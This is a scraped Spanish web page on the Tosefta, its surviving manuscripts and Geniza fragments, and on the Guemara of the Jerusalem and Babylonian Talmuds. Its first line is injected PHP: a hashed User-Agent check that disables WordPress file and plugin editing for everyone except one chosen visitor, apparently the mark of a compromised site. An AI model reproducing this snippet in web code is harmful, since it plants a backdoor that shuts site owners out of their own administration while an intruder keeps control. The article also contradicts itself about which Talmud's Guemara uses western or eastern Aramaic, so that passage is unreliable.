if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } Baraitas – Texto Bíblico

Tosefta

ANTIGUA LITERATURA JUDÍA

El Talmud

Tosefta

Tosefta (arameo), significa “extensión”, “complemento”, “adición”, es una colección e interpretación de sentencias halákicas que no se encuentran en la Mishnah ni están citadas como Baraitas en la Guemara. De manera que en realidad no es una parte del Talmud.

A semejanza de la Mishnah, la Tosefta está dividida en seis órdenes (Sedarim), pero en total sólo abarca 59 opúsculos en comparación con los 63 de la Mishnah -faltan: Aboth [o Avot](Nezikin), y Tamid, Middot y Kinnim (de Qodashim).

No se conocen con exactitud sus recopiladores originales, pero deben haber hecho su obra antes de que se completara el Talmud.

Manuscritos de la Tosefta

Existen tres manuscritos:

1. Viena (fines del siglo XIII a comienzos del siglo XIV) – Oesterreichische Nationalbibliothek Cod hebr. 20).

The Vienna Manuscript, folio 15. End of Berachot, beginning of Peah.

Le faltan las siguientes pequeñas secciones de la Tosefta:

1) Demai, mitad del capítulo 5 – capítulo 8

2) Terumot, capítulo 1 – mitad del capítulo 2

3) Nazir, mitad del capítulo 3 – mitad del capítulo 4

4) Sotah, mitad del capítulo 6 – mitad del capítulo 7

5) Bava Batra, mitad del capítulo 2 – mitad del capítulo 4

6) Sanhedrin, mitad del capítulo 8 – mitad del capítulo 9

7) Makkot, capítulo 2

8) Ohalot, mitad del capítulo 4 – mitad del capítulo 5

9) Mikvaot, mitad del capítulo 3 – mitad del capítulo 6

10) Zavim, mitad del capítulo 1 – mitad del capítulo 3

 

2. Berlin (siglo XII)- Staatsbibliothek (Preussischer Kulturbesitz) Or. Fol. 1220 – Érfurt

Este manuscrito de la Tosefta parece ser el más antiguo que existe, pero no está completo. contiene los cuatro primeros Sedarim (Zerayim, Moed, Nashim y Neziḳin) de la Tosefta y los cuatro primeros y medio capítulos de Masechta Zevachim.

The Erfort Manuscript, folio 16. End of Berachot, beginning of Peah.The London Manuscript. Shekalim, chapter 3.

3. Londres (siglo XV) – British Library Add. 27296 (Cat. Margoliouth 445).

Es el más reciente y el segundo manuscrito más breve de la Tosefta, ya que contiene solamente Seder Moel y Masechta Chulin en 73 páginas.

The London Manuscript, chapter 3.

Además de estos tres manuscritos, existen también pequeñas secciones de la Tosefta que se encontraron en la Geniza de El Cairo y la Geniza Europea. Uno de estos fragmentos ha sido llamado de Manuscrito Schocken, aunque la mayoría de los estudiosos lo consideran como un fragmento ya que contiene sólo cuatro páginas conuna pequeña parte de la Seder Nezikim. El final del capítulo 11 de Bava Kama hasta el capítulo 5 de Bava Metzia. El fragmento, en sí mismo, no está completo porque las páginas fueron arrancadas. Se conserva en la Biblioteca Schocken del Seminario Teológico Judío en Jerusalén y está etiquetado como Manuscrito 2.041.

The Schockhen Manuscript. Bava Metzia, chapter 5.

Los “fragmentos Geniza” de la Tosefta se originan, principalmente, de la Geniza de El Cairo o de la Geniza Europea (la mayoría italiana) y se dispersan a través de varias colecciones de muchas bibliotecas de todo el mundo. Entre ellos está el  fragmento existente más antiguo de la Tosefta: siglo X, de la ciudad de Norcia, Italia, que contiene una parte de Masechta Nedarim.

Geniza Fragment from the Italian Geniza. Bologna, Italy, Archivio di Sato, Hebrew fragment 14.

 

Oldest extant Geniza Fragment of the Tosefta from de Italian Geniza.

————————-

Enlaces externos:

Jewish Encyclopedia – TOSEFTA

Catholic Encyclopedia – Tosephta

Introduction to the Tosefta – Manuscripts of the Tosefta

Tosefta Berachot

Wikipedia – Tosefta

—–

ANTIGUA LITERATURA JUDÍA

El Talmud
Tradición oral
La Mishnah
Guemara
Tosefta

—–

Guemara

ANTIGUA LITERATURA JUDÍA

El Talmud

Guemara

(o “Guemarra”)

La codificación de la Mishnah dio fin a una era en la historia de los judíos, pues significó la terminación de la obra de los Tanna’im (sing. Tanna, “instructor”), los “tradicionalistas”, que habían transmitido la Halaká oralmente de una generación a otra. Durante el período siguiente, los eruditos de la ley judía son llamados ‘Amoraim (arameo: “aquellos que dicen” o “aquellos que comentan”), “pronunciadores” o “exégetas”. Consideraban que su tarea era estudiar la Mishnah para interpretarla y resolver sus contradicciones reales o aparentes.

Los ‘Amoraim trabajaron intensamente durante los siglos III y IV de la era cristiana, y su material nuevo – que consiste de una esmerada exégesis de la Mishnah – fue codificado durante los siglos IV y V. En ese tiempo, este material exegético fue llamado Talmud (“enseñanza”); sin embargo, en épocas posteriores llegó a conocerse como Guemara, “terminación”, y con frecuencia ahora se aplica la palabra Talmud a la Mishnah y la Guemara combinadas. En la Guemara se incluyen Baraitas o declaraciones de la Halaká que no encontraron lugar en la Mishnah.

La Mishnah era una obra unificada escrita en hebreo y aceptada por todos los judíos, pero la Guemara de los eruditos palestinos – conocida como el Talmud de Jerusalén – era notablemente diferente del de sus colegas babilonios, que es llamado el Talmud Babilónico. El Talmud de Jerusalén incluye la Guemara de 38 opúsculos de las primeras cuatro órdenes de la Mishnah y de un opúsculo de la sexta orden.

The first page of the Vilna Edition of the Babylonian Talmud, Tractate Berachot, folio 2a.

La Mishnah fue escrita en hebreo, pero la Guemara del Talmud de Jerusalén fue compuesta en un dialecto arameo occidental. El Talmud Babilónico incluye la Guemara de 34 opúsculos de la Mishnah, de las órdenes segunda a quinta, y de un opúsculo de la primera orden y de la sexta.

A page of a medieval Jerusalem Talmud manuscript, from the Cairo Genizah.

Tanto en el Talmud Babilónico como en el de Jerusalén, la Mishnah está en hebreo; pero la Guemara del primero de ellos está en un dialecto arameo occidental, mientras que la del último está en un dialecto arameo oriental. El Talmud de Jerusalén tuvo poca aceptación fuera de Palestina; pero el Talmud Babilónico se ha convertido en la norma aceptada por los judíos ortodoxos desde su edición final c. 500 d. C.

————————

Enlaces externos:

The Babylonian Talmud

Gemara

Talmud

Babylonian Talmud [Full Text] | Jewish Virtual Library

Judaism: The Oral Law –Talmud & Mishna

—–

ANTIGUA LITERATURA JUDÍA

El Talmud
Tradición oral
La Mishnah
Guemara
Tosefta

—–